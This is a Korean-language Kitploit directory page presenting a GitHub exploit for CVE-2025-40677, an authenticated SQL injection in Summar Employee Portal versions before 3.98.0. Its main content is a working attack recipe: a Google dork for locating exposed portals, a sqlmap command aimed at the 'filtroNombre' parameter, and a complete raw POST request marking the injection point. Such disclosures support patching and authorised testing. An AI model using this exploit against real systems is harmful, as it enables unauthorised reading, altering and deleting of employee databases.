Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-40677 — Summar Employee Portal 3.98.0 이전 인증된 SQL 인젝션 - CVE-2025-40677 | Kitploit
도구/GitHubGitHub/petergabaldon/cve-2025-40677
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingDatabase Security
GitHubpetergabaldon/cve-2025-40677

CVE-2025-40677

Summar Employee Portal 3.98.0 이전 인증된 SQL 인젝션 - CVE-2025-40677

저장소 보기
110개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Exploit 제목: Summar Employee Portal 3.98.0 미만 인증된 SQL 인젝션 - CVE-2025-40677

Google Dork: inurl:"/MemberPages/quienesquien.aspx"

날짜: 09/22/2025

Exploit 작성자: Peter Gabaldon - https://pgj11.com/

공급업체 홈페이지: https://www.summar.es/

소프트웨어 링크: https://www.summar.es/software-recursos-humanos/

버전: < 3.98.0

테스트 환경: Kali

CVE : CVE-2025-40677

설명: Summar Software의 Portal del Empleado(직원 포털)에 존재하는 SQL 인젝션 취약점입니다. 이 취약점으로 인해 공격자는 “/MemberPages/quienesquien.aspx”에서 “ctl00$ContentPlaceHolder1$filtroNombre” 매개변수를 사용하여 POST 요청을 전송함으로써 데이터베이스를 조회, 생성, 수정 및 삭제할 수 있습니다.

root@kitploit:~
$ sqlmap --random-agent -r req.sqli.xml -p 'ctl00%24ContentPlaceHolder1%24filtroNombre' --dbms="MSSQL"

POST /MemberPages/quienesquien.aspx HTTP/1.1
Host: [REDACTED]
Cookie: [REDACTED]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
X-Microsoftajax: Delta=true
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: keep-alive
 
ctl00%24ScriptManager1=ctl00%24ScriptManager1%7Cctl00%24ContentPlaceHolder1%24lnkVerTrabajador&ctl00%24ContentPlaceHolder1%24filtroNombre=[SQL_INJECTION_POINT]&ctl00%24ContentPlaceHolder1%24ddlEmpresa=&ctl00%24ContentPlaceHolder1%24filtroCentro=&ctl00%24ContentPlaceHolder1%24filtroUO=&ctl00%24ContentPlaceHolder1%24filtroPuesto=&__EVENTTARGET=ctl00%24ContentPlaceHolder1%24lnkVerTrabajador&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=...&__VIEWSTATEGENERATOR=...&__ASYNCPOST=true&
도구 다운로드